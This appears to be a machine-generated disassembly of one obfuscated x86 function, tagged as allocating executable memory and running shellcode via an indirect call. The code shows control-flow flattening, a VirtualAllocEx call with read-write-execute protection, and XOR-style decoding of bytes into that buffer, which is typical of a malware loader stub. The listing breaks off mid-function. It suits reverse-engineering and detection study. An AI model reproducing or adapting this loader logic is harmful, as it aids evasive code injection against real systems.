Function at 0x407120
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x278
mov eax, dword [ebp + 0xc]
mov ecx, dword [ebp + 0x10]
mov edx, dword [ebp + 8]
mov dword [ebp - 0x70], ecx
mov dword [ebp - 0x74], eax
mov dword [ebp - 0x78], edx
mov dword [ebp - 0x7c], 0
mov dword [ebp - 0x80], 0
mov dword [ebp - 0x84], 0
mov dword [ebp - 0x88], 0
mov dword [ebp - 0x8c], 0
mov dword [ebp - 0x90], 0
mov dword [ebp - 0x94], 0
mov dword [ebp - 0x98], 0
mov dword [ebp - 0x9c], 0
mov dword [ebp - 0xb0], 0
mov dword [ebp - 0xb4], 0
mov eax, dword [ebp - 0x78]
mov dword [ebp - 0x68], eax
mov dword [ebp - 0xcc], 0xd751b8de
mov eax, dword [ebp - 0xcc]
mov ecx, eax
sub ecx, 0x77d2d6ed
mov dword [ebp - 0xd0], eax
mov dword [ebp - 0xd4], ecx
jg 0x4077ac
jmp 0x4071db
mov eax, dword [ebp - 0xd0]
sub eax, 0x9d4ff012
mov dword [ebp - 0xd8], eax
jg 0x407213
jmp 0x4071f7
mov eax, dword [ebp - 0xd0]
sub eax, 0x95e3be1c
mov dword [ebp - 0xdc], eax
je 0x40854b
jmp 0x4077c8
mov eax, dword [ebp - 0xd0]
sub eax, 0xa6958b81
mov dword [ebp - 0xe0], eax
jg 0x40724b
jmp 0x40722f
mov eax, dword [ebp - 0xd0]
sub eax, 0x9d4ff013
mov dword [ebp - 0xe4], eax
je 0x407b78
jmp 0x4077c8
mov eax, dword [ebp - 0xd0]
add eax, 0x378fbc65
mov dword [ebp - 0xe8], eax
jg 0x407284
jmp 0x407268
mov eax, dword [ebp - 0xd0]
sub eax, 0xa6958b82
mov dword [ebp - 0xec], eax
je 0x408453
jmp 0x4077c8
mov eax, dword [ebp - 0xd0]
sub eax, 0xcc8e0cc5
mov dword [ebp - 0xf0], eax
jg 0x4072bc
jmp 0x4072a0
mov eax, dword [ebp - 0xd0]
sub eax, 0xc870439c
mov dword [ebp - 0xf4], eax
je 0x40862b
jmp 0x4077c8
mov eax, dword [ebp - 0xd0]
sub eax, 0xd751b8dd
mov dword [ebp - 0xf8], eax
jg 0x4072f4
jmp 0x4072d8
mov eax, dword [ebp - 0xd0]
sub eax, 0xcc8e0cc6
mov dword [ebp - 0xfc], eax
je 0x408493
jmp 0x4077c8
mov eax, dword [ebp - 0xd0]
sub eax, 0xdfb20816
mov dword [ebp - 0x100], eax
jg 0x40732c
jmp 0x407310
mov eax, dword [ebp - 0xd0]
sub eax, 0xd751b8de
mov dword [ebp - 0x104], eax
je 0x4077cd
jmp 0x4077c8
mov eax, dword [ebp - 0xd0]
sub eax, 0xe2dc64ee
mov dword [ebp - 0x108], eax
jg 0x407364
jmp 0x407348
mov eax, dword [ebp - 0xd0]
sub eax, 0xdfb20817
mov dword [ebp - 0x10c], eax
je 0x408219
jmp 0x4077c8
mov eax, dword [ebp - 0xd0]
sub eax, 0xe91934d7
mov dword [ebp - 0x110], eax
jg 0x40739c
jmp 0x407380
mov eax, dword [ebp - 0xd0]
sub eax, 0xe2dc64ef
mov dword [ebp - 0x114], eax
je 0x408604
jmp 0x4077c8
mov eax, dword [ebp - 0xd0]
sub eax, 0xebaec0c2
mov dword [ebp - 0x118], eax
jg 0x4073d4
jmp 0x4073b8
mov eax, dword [ebp - 0xd0]
sub eax, 0xe91934d8
mov dword [ebp - 0x11c], eax
je 0x408153
jmp 0x4077c8
mov eax, dword [ebp - 0xd0]
sub eax, 0xf7d8c5a8
mov dword [ebp - 0x120], eax
jg 0x40740c
jmp 0x4073f0
mov eax, dword [ebp - 0xd0]
sub eax, 0xebaec0c3
mov dword [ebp - 0x124], eax
je 0x407842
jmp 0x4077c8
mov eax, dword [ebp - 0xd0]
sub eax, 0xfa16294a
mov dword [ebp - 0x128], eax
jg 0x407444
jmp 0x407428
mov eax, dword [ebp - 0xd0]
sub eax, 0xf7d8c5a9
mov dword [ebp - 0x12c], eax
je 0x407bf7
jmp 0x4077c8
mov eax, dword [ebp - 0xd0]
sub eax, 0x8218c9e
mov dword [ebp - 0x130], eax
jg 0x40747c
jmp 0x407460
mov eax, dword [ebp - 0xd0]
sub eax, 0xfa16294b
mov dword [ebp - 0x134], eax
je 0x407a73
jmp 0x4077c8
mov eax, dword [ebp - 0xd0]
sub eax, 0x1107d30b
mov dword [ebp - 0x138], eax
jg 0x4074b4
jmp 0x407498
mov eax, dword [ebp - 0xd0]
sub eax, 0x8218c9f
mov dword [ebp - 0x13c], eax
je 0x40782c
jmp 0x4077c8
mov eax, dword [ebp - 0xd0]
sub eax, 0x14564c48
mov dword [ebp - 0x140], eax
jg 0x4074ec
jmp 0x4074d0
mov eax, dword [ebp - 0xd0]
sub eax, 0x1107d30c
mov dword [ebp - 0x144], eax
je 0x40780d
jmp 0x4077c8
mov eax, dword [ebp - 0xd0]
add eax, 0x9d83ddf3
mov dword [ebp - 0x148], eax
jg 0x407790
jmp 0x407509
mov eax, dword [ebp - 0xd0]
sub eax, 0x60a8f0ec
mov dword [ebp - 0x14c], eax
jg 0x407774
jmp 0x407525
mov eax, dword [ebp - 0xd0]
sub eax, 0x5428e444
mov dword [ebp - 0x150], eax
jg 0x407758
jmp 0x407541
mov eax, dword [ebp - 0xd0]
sub eax, 0x4a881e3e
mov dword [ebp - 0x154], eax
jg 0x40773b
jmp 0x40755d
mov eax, dword [ebp - 0xd0]
sub eax, 0x4113d2ce
mov dword [ebp - 0x158], eax
jg 0x40771f
jmp 0x407579
mov eax, dword [ebp - 0xd0]
sub eax, 0x3ee38630
mov dword [ebp - 0x15c], eax
jg 0x407703
jmp 0x407595
mov eax, dword [ebp - 0xd0]
sub eax, 0x325ba9ac
mov dword [ebp - 0x160], eax
jg 0x4076e6
jmp 0x4075b1
mov eax, dword [ebp - 0xd0]
add eax, 0xd005a00e
mov dword [ebp - 0x164], eax
jg 0x4076ca
jmp 0x4075ce
mov eax, dword [ebp - 0xd0]
sub eax, 0x292c166f
mov dword [ebp - 0x168], eax
jg 0x4076ae
jmp 0x4075ea
mov eax, dword [ebp - 0xd0]
sub eax, 0x2514f403
mov dword [ebp - 0x16c], eax
jg 0x407692
jmp 0x407606
mov eax, dword [ebp - 0xd0]
sub eax, 0x1c4b699c
mov dword [ebp - 0x170], eax
jg 0x407676
jmp 0x407622
mov eax, dword [ebp - 0xd0]
sub eax, 0x14564c49
mov dword [ebp - 0x174], eax
je 0x40846c
jmp 0x40763e
mov eax, dword [ebp - 0xd0]
sub eax, 0x14b362fa
mov dword [ebp - 0x178], eax
je 0x407e55
jmp 0x40765a
mov eax, dword [ebp - 0xd0]
sub eax, 0x194f5773
mov dword [ebp - 0x17c], eax
je 0x408590
jmp 0x4077c8
mov eax, dword [ebp - 0xd0]
sub eax, 0x1c4b699d
mov dword [ebp - 0x180], eax
je 0x4077ee
jmp 0x4077c8
mov eax, dword [ebp - 0xd0]
sub eax, 0x2514f404
mov dword [ebp - 0x184], eax
je 0x408523
jmp 0x4077c8
mov eax, dword [ebp - 0xd0]
sub eax, 0x292c1670
mov dword [ebp - 0x188], eax
je 0x408613
jmp 0x4077c8
mov eax, dword [ebp - 0xd0]
sub eax, 0x2ffa5ff3
mov dword [ebp - 0x18c], eax
je 0x407aad
jmp 0x4077c8
mov eax, dword [ebp - 0xd0]
add eax, 0xcda45653
mov dword [ebp - 0x190], eax
je 0x407c18
jmp 0x4077c8
mov eax, dword [ebp - 0xd0]
sub eax, 0x3ee38631
mov dword [ebp - 0x194], eax
je 0x408228
jmp 0x4077c8
mov eax, dword [ebp - 0xd0]
sub eax, 0x4113d2cf
mov dword [ebp - 0x198], eax
je 0x407f31
jmp 0x4077c8
mov eax, dword [ebp - 0xd0]
add eax, 0xb577e1c1
mov dword [ebp - 0x19c], eax
je 0x4085bf
jmp 0x4077c8
mov eax, dword [ebp - 0xd0]
sub eax, 0x5428e445
mov dword [ebp - 0x1a0], eax
je 0x407a5d
jmp 0x4077c8
mov eax, dword [ebp - 0xd0]
sub eax, 0x60a8f0ed
mov dword [ebp - 0x1a4], eax
je 0x407b8e
jmp 0x4077c8
mov eax, dword [ebp - 0xd0]
sub eax, 0x627c220e
mov dword [ebp - 0x1a8], eax
je 0x40853c
jmp 0x4077c8
mov eax, dword [ebp - 0xd0]
sub eax, 0x77d2d6ee
mov dword [ebp - 0x1ac], eax
je 0x407a95
jmp 0x4077c8
jmp 0x408639
mov eax, 0x1c4b699d
mov ecx, 0x8218c9f
mov edx, dword [ebp - 0x68]
cmp edx, 0
cmove eax, ecx
mov dword [ebp - 0xcc], eax
jmp 0x408639
mov eax, 0x1107d30c
mov ecx, 0x8218c9f
cmp dword [ebp - 0x74], 0
cmove eax, ecx
mov dword [ebp - 0xcc], eax
jmp 0x408639
mov eax, 0xebaec0c3
mov ecx, 0x8218c9f
cmp dword [ebp - 0x70], 0
cmove eax, ecx
mov dword [ebp - 0xcc], eax
jmp 0x408639
mov dword [ebp - 0x6c], 0
mov dword [ebp - 0xcc], 0xc870439c
jmp 0x408639
mov eax, dword [ebp - 0x78]
mov dword [ebp - 0x5c], eax
mov dword [ebp - 0x60], 0
mov dword [ebp - 0x64], 0xb865422c
mov eax, dword [ebp - 0x64]
mov ecx, eax
sub ecx, 0x226cee0f
mov dword [ebp - 0x1b0], eax
mov dword [ebp - 0x1b4], ecx
jg 0x407974
jmp 0x407878
mov eax, dword [ebp - 0x1b0]
sub eax, 0xb78c108b
mov dword [ebp - 0x1b8], eax
jg 0x4078b0
jmp 0x407894
mov eax, dword [ebp - 0x1b0]
sub eax, 0xa5ba41df
mov dword [ebp - 0x1bc], eax
je 0x4079dd
jmp 0x407990
mov eax, dword [ebp - 0x1b0]
sub eax, 0xfa79e159
mov dword [ebp - 0x1c0], eax
jg 0x407958
jmp 0x4078cc
mov eax, dword [ebp - 0x1b0]
sub eax, 0xec3e6de0
mov dword [ebp - 0x1c4], eax
jg 0x40793c
jmp 0x4078e8
mov eax, dword [ebp - 0x1b0]
sub eax, 0xb78c108c
mov dword [ebp - 0x1c8], eax
je 0x407a07
jmp 0x407904
mov eax, dword [ebp - 0x1b0]
sub eax, 0xb865422c
mov dword [ebp - 0x1cc], eax
je 0x407995
jmp 0x407920
mov eax, dword [ebp - 0x1b0]
sub eax, 0xd46b65ef
mov dword [ebp - 0x1d0], eax
je 0x4079fb
jmp 0x407990
mov eax, dword [ebp - 0x1b0]
sub eax, 0xec3e6de1
mov dword [ebp - 0x1d4], eax
je 0x407a25
jmp 0x407990
mov eax, dword [ebp - 0x1b0]
sub eax, 0xfa79e15a
mov dword [ebp - 0x1d8], eax
je 0x4079b3
jmp 0x407990
mov eax, dword [ebp - 0x1b0]
sub eax, 0x226cee10
mov dword [ebp - 0x1dc], eax
je 0x407a38
jmp 0x407990
jmp 0x407a33
mov eax, 0xec3e6de1
mov ecx, 0xfa79e15a
mov edx, dword [ebp - 0x60]
cmp edx, dword [0x41852c]
cmovb eax, ecx
mov dword [ebp - 0x64], eax
jmp 0x407a33
mov eax, 0xd46b65ef
mov ecx, 0xa5ba41df
lea edx, [0x4184fc]
imul esi, dword [ebp - 0x60], 0xc
add edx, esi
mov edx, dword [edx + 4]
cmp edx, dword [ebp - 0x5c]
cmove eax, ecx
mov dword [ebp - 0x64], eax
jmp 0x407a33
lea eax, [0x4184fc]
imul ecx, dword [ebp - 0x60], 0xc
add eax, ecx
mov dword [ebp - 0x58], eax
mov dword [ebp - 0x64], 0x226cee10
jmp 0x407a33
mov dword [ebp - 0x64], 0xb78c108c
jmp 0x407a33
mov eax, 0
mov ecx, dword [ebp - 0x60]
sub eax, 1
sub ecx, eax
mov dword [ebp - 0x60], ecx
mov dword [ebp - 0x64], 0xb865422c
jmp 0x407a33
mov dword [ebp - 0x58], 0
mov dword [ebp - 0x64], 0x226cee10
jmp 0x407856
mov eax, 0xfa16294b
mov ecx, 0x5428e445
mov edx, dword [ebp - 0x58]
mov dword [ebp - 0x80], edx
cmp dword [ebp - 0x80], 0
cmove eax, ecx
mov dword [ebp - 0xcc], eax
jmp 0x408639
mov dword [ebp - 0x6c], 0
mov dword [ebp - 0xcc], 0xc870439c
jmp 0x408639
mov eax, 0x2ffa5ff3
mov ecx, 0x77d2d6ee
mov edx, dword [ebp - 0x80]
cmp dword [edx + 8], 0
cmovne eax, ecx
mov dword [ebp - 0xcc], eax
jmp 0x408639
mov eax, dword [ebp - 0x80]
mov eax, dword [eax + 8]
mov dword [ebp - 0x6c], eax
mov dword [ebp - 0xcc], 0xc870439c
jmp 0x408639
lea eax, [0x418534]
mov ecx, dword [ebp - 0x80]
add eax, dword [ecx]
mov dword [ebp - 0x7c], eax
call fcn.00406a70
mov dword [ebp - 0xc4], eax
mov eax, dword [ebp - 0x7c]
add eax, 0x2f
mov dword [ebp - 0x84], eax
mov eax, dword [ebp - 0x7c]
mov eax, dword [eax + 0x23]
shl eax, 1
mov ecx, dword [ebp - 0x7c]
add ecx, 0x2f
shl eax, 2
add ecx, eax
mov dword [ebp - 0x8c], ecx
mov eax, dword [ebp - 0x7c]
mov eax, dword [eax + 0x23]
shl eax, 1
mov ecx, dword [ebp - 0x7c]
mov ecx, dword [ecx + 0x27]
shl ecx, 1
sub eax, 0x135bb661
add eax, ecx
add eax, 0x135bb661
mov ecx, dword [ebp - 0x7c]
add ecx, 0x2f
shl eax, 2
add ecx, eax
mov dword [ebp - 0x94], ecx
mov eax, dword [ebp - 0x70]
mov ecx, esp
mov dword [ecx + 8], eax
mov dword [ecx + 0xc], 0x1000
mov dword [ecx + 0x10], 0x40
mov dword [ecx + 4], 0
mov dword [ecx], 0xffffffff
mov eax, dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
call eax
sub esp, 0x14
mov ecx, 0x60a8f0ed
mov edx, 0x9d4ff013
mov dword [ebp - 0x9c], eax
cmp dword [ebp - 0x9c], 0
cmove ecx, edx
mov dword [ebp - 0xcc], ecx
jmp 0x408639
mov dword [ebp - 0x6c], 0
mov dword [ebp - 0xcc], 0xc870439c
jmp 0x408639
mov eax, 0
mov ecx, dword [ebp - 0xc4]
mov edx, dword [0x418530]
mov esi, eax
sub esi, edx
add ecx, esi
mov dword [ebp - 0xc8], ecx
mov ecx, dword [ebp - 0x9c]
mov edx, dword [ebp - 0x80]
mov dword [edx + 8], ecx
mov ecx, dword [ebp - 0x78]
mov edx, dword [ebp - 0xc4]
sub eax, edx
sub ecx, eax
mov dword [ebp - 0x98], ecx
mov dword [ebp - 0xa0], 0
mov dword [ebp - 0xa4], 0
mov dword [ebp - 0xa8], 0
mov dword [ebp - 0xcc], 0xf7d8c5a9
jmp 0x408639
mov eax, 0x292c1670
mov ecx, 0x325ba9ad
mov edx, dword [ebp - 0xa4]
cmp edx, dword [ebp - 0x70]
cmovb eax, ecx
mov dword [ebp - 0xcc], eax
jmp 0x408639
mov eax, dword [ebp - 0x78]
mov ecx, dword [ebp - 0xa4]
add eax, 0xc39ffe77
add eax, ecx
sub eax, 0xc39ffe77
mov dword [ebp - 0xb8], eax
mov eax, dword [ebp - 0xb8]
mov ecx, dword [ebp - 0x7c]
mov ecx, dword [ecx + 0x23]
mov edx, dword [ebp - 0x84]
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x18], ecx
mov dword [ebp - 0x1c], edx
mov dword [ebp - 0x20], 0
mov dword [ebp - 0x24], 0xd7cb0ac5
mov eax, dword [ebp - 0x24]
mov ecx, eax
sub ecx, 0xd7cb0ac4
mov dword [ebp - 0x1e0], eax
mov dword [ebp - 0x1e4], ecx
jg 0x407c9a
jmp 0x407c7e
mov eax, dword [ebp - 0x1e0]
sub eax, 0xb4360823
mov dword [ebp - 0x1e8], eax
je 0x407dd7
jmp 0x407d96
mov eax, dword [ebp - 0x1e0]
sub eax, 0xd02bdb2
mov dword [ebp - 0x1ec], eax
jg 0x407cd2
jmp 0x407cb6
mov eax, dword [ebp - 0x1e0]
sub eax, 0xd7cb0ac5
mov dword [ebp - 0x1f0], eax
je 0x407d9b
jmp 0x407d96
mov eax, dword [ebp - 0x1e0]
sub eax, 0x2aa1eaef
mov dword [ebp - 0x1f4], eax
jg 0x407d0a
jmp 0x407cee
mov eax, dword [ebp - 0x1e0]
sub eax, 0xd02bdb3
mov dword [ebp - 0x1f8], eax
je 0x407df1
jmp 0x407d96
mov eax, dword [ebp - 0x1e0]
sub eax, 0x55445155
mov dword [ebp - 0x1fc], eax
jg 0x407d42
jmp 0x407d26
mov eax, dword [ebp - 0x1e0]
sub eax, 0x2aa1eaf0
mov dword [ebp - 0x200], eax
je 0x407db6
jmp 0x407d96
mov eax, dword [ebp - 0x1e0]
sub eax, 0x55445156
mov dword [ebp - 0x204], eax
je 0x407e1b
jmp 0x407d5e
mov eax, dword [ebp - 0x1e0]
sub eax, 0x59a31a41
mov dword [ebp - 0x208], eax
je 0x407e2e
jmp 0x407d7a
mov eax, dword [ebp - 0x1e0]
sub eax, 0x7444e54e
mov dword [ebp - 0x20c], eax
je 0x407dfd
jmp 0x407d96
jmp 0x407e29
mov eax, 0x55445156
mov ecx, 0x2aa1eaf0
mov edx, dword [ebp - 0x20]
cmp edx, dword [ebp - 0x18]
cmovb eax, ecx
mov dword [ebp - 0x24], eax
jmp 0x407e29
mov eax, 0xd02bdb3
mov ecx, 0xb4360823
mov edx, dword [ebp - 0x20]
mov esi, dword [ebp - 0x1c]
mov edx, dword [esi + edx*8]
cmp edx, dword [ebp - 0x14]
cmove eax, ecx
mov dword [ebp - 0x24], eax
jmp 0x407e29
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
shl eax, 3
add ecx, eax
mov dword [ebp - 0x10], ecx
mov dword [ebp - 0x24], 0x59a31a41
jmp 0x407e29
mov dword [ebp - 0x24], 0x7444e54e
jmp 0x407e29
mov eax, 0
mov ecx, dword [ebp - 0x20]
sub eax, 1
sub ecx, eax
mov dword [ebp - 0x20], ecx
mov dword [ebp - 0x24], 0xd7cb0ac5
jmp 0x407e29
mov dword [ebp - 0x10], 0
mov dword [ebp - 0x24], 0x59a31a41
jmp 0x407c5c
mov eax, 0x4113d2cf
mov ecx, 0x14b362fa
mov edx, dword [ebp - 0x10]
mov dword [ebp - 0x88], edx
cmp edx, 0
cmovne eax, ecx
mov dword [ebp - 0xcc], eax
jmp 0x408639
mov eax, 0
mov ecx, 0xffffffff
mov edx, dword [ebp - 0x88]
mov edx, dword [edx + 4]
mov esi, dword [ebp - 0x7c]
mov esi, dword [esi + 0x1f]
mov edi, edx
xor edi, 0xffffffff
and edi, 0xa0d9f41a
xor ecx, 0xa0d9f41a
and edx, ecx
mov ebx, esi
xor ebx, 0xffffffff
and ebx, 0xa0d9f41a
and esi, ecx
or edi, edx
or ebx, esi
xor edi, ebx
mov ecx, dword [ebp - 0xc4]
mov edx, eax
sub edx, ecx
sub edi, edx
mov dword [ebp - 0xbc], edi
mov ecx, dword [ebp - 0xbc]
mov edx, dword [ebp - 0x9c]
mov esi, dword [ebp - 0xa4]
sub edx, 0xc6b0de0b
add edx, esi
add edx, 0xc6b0de0b
mov esi, eax
sub esi, 4
sub edx, esi
mov esi, eax
sub esi, edx
add ecx, esi
mov edx, dword [ebp - 0x9c]
mov esi, dword [ebp - 0xa4]
mov dword [edx + esi], ecx
mov ecx, dword [ebp - 0xa4]
mov edx, eax
sub edx, ecx
mov ecx, eax
sub ecx, 4
add edx, ecx
sub eax, edx
mov dword [ebp - 0xa4], eax
mov eax, dword [ebp - 0xb0]
sub eax, 0x161503c3
add eax, 1
add eax, 0x161503c3
mov dword [ebp - 0xb0], eax
mov dword [ebp - 0xcc], 0xf7d8c5a9
jmp 0x408639
mov eax, dword [ebp - 0xb8]
mov ecx, dword [ebp - 0x7c]
mov ecx, dword [ecx + 0x27]
mov edx, dword [ebp - 0x8c]
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0x30], ecx
mov dword [ebp - 0x34], edx
mov dword [ebp - 0x38], 0
mov dword [ebp - 0x3c], 0xd7cb0ac5
mov eax, dword [ebp - 0x3c]
mov ecx, eax
sub ecx, 0xd7cb0ac4
mov dword [ebp - 0x210], eax
mov dword [ebp - 0x214], ecx
jg 0x407f98
jmp 0x407f7c
mov eax, dword [ebp - 0x210]
sub eax, 0xb4360823
mov dword [ebp - 0x218], eax
je 0x4080d5
jmp 0x408094
mov eax, dword [ebp - 0x210]
sub eax, 0xd02bdb2
mov dword [ebp - 0x21c], eax
jg 0x407fd0
jmp 0x407fb4
mov eax, dword [ebp - 0x210]
sub eax, 0xd7cb0ac5
mov dword [ebp - 0x220], eax
je 0x408099
jmp 0x408094
mov eax, dword [ebp - 0x210]
sub eax, 0x2aa1eaef
mov dword [ebp - 0x224], eax
jg 0x408008
jmp 0x407fec
mov eax, dword [ebp - 0x210]
sub eax, 0xd02bdb3
mov dword [ebp - 0x228], eax
je 0x4080ef
jmp 0x408094
mov eax, dword [ebp - 0x210]
sub eax, 0x55445155
mov dword [ebp - 0x22c], eax
jg 0x408040
jmp 0x408024
mov eax, dword [ebp - 0x210]
sub eax, 0x2aa1eaf0
mov dword [ebp - 0x230], eax
je 0x4080b4
jmp 0x408094
mov eax, dword [ebp - 0x210]
sub eax, 0x55445156
mov dword [ebp - 0x234], eax
je 0x408119
jmp 0x40805c
mov eax, dword [ebp - 0x210]
sub eax, 0x59a31a41
mov dword [ebp - 0x238], eax
je 0x40812c
jmp 0x408078
mov eax, dword [ebp - 0x210]
sub eax, 0x7444e54e
mov dword [ebp - 0x23c], eax
je 0x4080fb
jmp 0x408094
jmp 0x408127
mov eax, 0x55445156
mov ecx, 0x2aa1eaf0
mov edx, dword [ebp - 0x38]
cmp edx, dword [ebp - 0x30]
cmovb eax, ecx
mov dword [ebp - 0x3c], eax
jmp 0x408127
mov eax, 0xd02bdb3
mov ecx, 0xb4360823
mov edx, dword [ebp - 0x38]
mov esi, dword [ebp - 0x34]
mov edx, dword [esi + edx*8]
cmp edx, dword [ebp - 0x2c]
cmove eax, ecx
mov dword [ebp - 0x3c], eax
jmp 0x408127
mov eax, dword [ebp - 0x38]
mov ecx, dword [ebp - 0x34]
shl eax, 3
add ecx, eax
mov dword [ebp - 0x28], ecx
mov dword [ebp - 0x3c], 0x59a31a41
jmp 0x408127
mov dword [ebp - 0x3c], 0x7444e54e
jmp 0x408127
mov eax, 0
mov ecx, dword [ebp - 0x38]
sub eax, 1
sub ecx, eax
mov dword [ebp - 0x38], ecx
mov dword [ebp - 0x3c], 0xd7cb0ac5
jmp 0x408127
mov dword [ebp - 0x28], 0
mov dword [ebp - 0x3c], 0x59a31a41
jmp 0x407f5a
mov eax, 0xdfb20817
mov ecx, 0xe91934d8
mov edx, dword [ebp - 0x28]
mov dword [ebp - 0x88], edx
cmp edx, 0
cmovne eax, ecx
mov dword [ebp - 0xcc], eax
jmp 0x408639
mov eax, 0
mov ecx, dword [ebp - 0xb8]
mov edx, dword [ebp - 0xc4]
add ecx, 0x9b74a476
add ecx, edx
sub ecx, 0x9b74a476
mov ecx, dword [ecx]
mov edx, dword [ebp - 0xc8]
add ecx, 0xff3bbc44
sub ecx, edx
sub ecx, 0xff3bbc44
mov edx, dword [ebp - 0x7c]
mov edx, dword [edx + 0x1f]
mov esi, ecx
xor esi, 0xffffffff
mov edi, edx
and edi, esi
xor edx, 0xffffffff
and ecx, edx
or edi, ecx
mov ecx, dword [ebp - 0xc8]
sub edi, 0x15240413
add edi, ecx
add edi, 0x15240413
mov dword [ebp - 0xc0], edi
mov ecx, dword [ebp - 0xc0]
mov edx, dword [ebp - 0x9c]
mov esi, dword [ebp - 0xa4]
mov dword [edx + esi], ecx
mov ecx, dword [ebp - 0xa4]
mov edx, eax
sub edx, ecx
mov ecx, eax
sub ecx, 4
add edx, ecx
sub eax, edx
mov dword [ebp - 0xa4], eax
mov eax, dword [ebp - 0xb4]
sub eax, 0xca5b6feb
add eax, 1
add eax, 0xca5b6feb
mov dword [ebp - 0xb4], eax
mov dword [ebp - 0xcc], 0xf7d8c5a9
jmp 0x408639
mov dword [ebp - 0xcc], 0x3ee38631
jmp 0x408639
mov eax, dword [ebp - 0xa4]
mov ecx, dword [ebp - 0x7c]
mov ecx, dword [ecx + 0x2b]
mov edx, dword [ebp - 0x94]
mov dword [ebp - 0x44], eax
mov dword [ebp - 0x48], ecx
mov dword [ebp - 0x4c], edx
mov dword [ebp - 0x50], 0
mov dword [ebp - 0x54], 0xa93106da
mov eax, dword [ebp - 0x54]
mov ecx, eax
sub ecx, 0xa93106d9
mov dword [ebp - 0x240], eax
mov dword [ebp - 0x244], ecx
jg 0x40828f
jmp 0x408273
mov eax, dword [ebp - 0x240]
sub eax, 0x96c80286
mov dword [ebp - 0x248], eax
je 0x408419
jmp 0x40838b
mov eax, dword [ebp - 0x240]
sub eax, 0xfda7d91d
mov dword [ebp - 0x24c], eax
jg 0x4082c7
jmp 0x4082ab
mov eax, dword [ebp - 0x240]
sub eax, 0xa93106da
mov dword [ebp - 0x250], eax
je 0x408390
jmp 0x40838b
mov eax, dword [ebp - 0x240]
sub eax, 0x65ad00db
mov dword [ebp - 0x254], eax
jg 0x40836f
jmp 0x4082e3
mov eax, dword [ebp - 0x240]
sub eax, 0x596623e4
mov dword [ebp - 0x258], eax
jg 0x408353
jmp 0x4082ff
mov eax, dword [ebp - 0x240]
sub eax, 0xfda7d91e
mov dword [ebp - 0x25c], eax
je 0x4083f2
jmp 0x40831b
mov eax, dword [ebp - 0x240]
sub eax, 0x396a8ec
mov dword [ebp - 0x260], eax
je 0x40842c
jmp 0x408337
mov eax, dword [ebp - 0x240]
sub eax, 0x39a42b75
mov dword [ebp - 0x264], eax
je 0x4083e6
jmp 0x40838b
mov eax, dword [ebp - 0x240]
sub eax, 0x596623e5
mov dword [ebp - 0x268], eax
je 0x4083cc
jmp 0x40838b
mov eax, dword [ebp - 0x240]
sub eax, 0x65ad00dc
mov dword [ebp - 0x26c], eax
je 0x4083ab
jmp 0x40838b
jmp 0x408427
mov eax, 0x96c80286
mov ecx, 0x65ad00dc
mov edx, dword [ebp - 0x50]
cmp edx, dword [ebp - 0x48]
cmovb eax, ecx
mov dword [ebp - 0x54], eax
jmp 0x408427
mov eax, 0x39a42b75
mov ecx, 0x596623e5
mov edx, dword [ebp - 0x50]
mov esi, dword [ebp - 0x4c]
mov edx, dword [esi + edx*8]
cmp edx, dword [ebp - 0x44]
cmove eax, ecx
mov dword [ebp - 0x54], eax
jmp 0x408427
mov eax, dword [ebp - 0x50]
mov ecx, dword [ebp - 0x4c]
shl eax, 3
add ecx, eax
mov dword [ebp - 0x40], ecx
mov dword [ebp - 0x54], 0x396a8ec
jmp 0x408427
mov dword [ebp - 0x54], 0xfda7d91e
jmp 0x408427
mov eax, 0
mov ecx, dword [ebp - 0x50]
mov edx, eax
sub edx, ecx
mov ecx, eax
sub ecx, 1
add edx, ecx
sub eax, edx
mov dword [ebp - 0x50], eax
mov dword [ebp - 0x54], 0xa93106da
jmp 0x408427
mov dword [ebp - 0x40], 0
mov dword [ebp - 0x54], 0x396a8ec
jmp 0x408251
mov eax, 0x4a881e3f
mov ecx, 0xa6958b82
mov edx, dword [ebp - 0x40]
mov dword [ebp - 0x90], edx
cmp edx, 0
cmovne eax, ecx
mov dword [ebp - 0xcc], eax
jmp 0x408639
mov dword [ebp - 0xac], 0
mov dword [ebp - 0xcc], 0x14564c49
jmp 0x408639
mov eax, 0x194f5773
mov ecx, 0xcc8e0cc6
mov edx, dword [ebp - 0xac]
mov esi, dword [ebp - 0x90]
cmp edx, dword [esi + 4]
cmovb eax, ecx
mov dword [ebp - 0xcc], eax
jmp 0x408639
mov eax, 0x627c220e
mov ecx, 0x2514f404
mov edx, 0
mov esi, dword [ebp - 0xa4]
mov edi, dword [ebp - 0x98]
movzx esi, byte [edi + esi]
mov edi, dword [ebp - 0xa8]
mov ebx, edx
sub ebx, edi
mov dword [ebp - 0x270], eax
mov eax, edx
sub eax, 1
add ebx, eax
sub edx, ebx
mov dword [ebp - 0xa8], edx
mov eax, dword [ebp - 0x7c]
movzx eax, byte [eax + edi + 1]
mov edx, esi
xor edx, 0xffffffff
mov edi, eax
and edi, edx
xor eax, 0xffffffff
and esi, eax
or edi, esi
mov eax, edi
mov edx, dword [ebp - 0xa4]
mov esi, dword [ebp - 0x9c]
mov byte [esi + edx], al
mov edx, dword [ebp - 0xa8]
mov esi, dword [ebp - 0x7c]
movzx esi, byte [esi]
cmp edx, esi
mov edx, dword [ebp - 0x270]
cmove edx, ecx
mov dword [ebp - 0xcc], edx
jmp 0x408639
mov dword [ebp - 0xa8], 0
mov dword [ebp - 0xcc], 0x627c220e
jmp 0x408639
mov dword [ebp - 0xcc], 0x95e3be1c
jmp 0x408639
mov eax, 0
mov ecx, dword [ebp - 0xac]
sub ecx, 0x953c210f
add ecx, 1
add ecx, 0x953c210f
mov dword [ebp - 0xac], ecx
mov ecx, dword [ebp - 0xa4]
sub eax, 1
sub ecx, eax
mov dword [ebp - 0xa4], ecx
mov dword [ebp - 0xcc], 0x14564c49
jmp 0x408639
mov eax, dword [ebp - 0xac]
mov ecx, dword [ebp - 0xa0]
sub ecx, 0x1cba0ea
add ecx, eax
add ecx, 0x1cba0ea
mov dword [ebp - 0xa0], ecx
mov dword [ebp - 0xcc], 0xe2dc64ef
jmp 0x408639
mov eax, 0
mov ecx, dword [ebp - 0xa4]
mov edx, dword [ebp - 0x98]
mov bl, byte [edx + ecx]
mov ecx, dword [ebp - 0xa4]
mov edx, dword [ebp - 0x9c]
mov byte [edx + ecx], bl
mov ecx, dword [ebp - 0xa4]
sub eax, 1
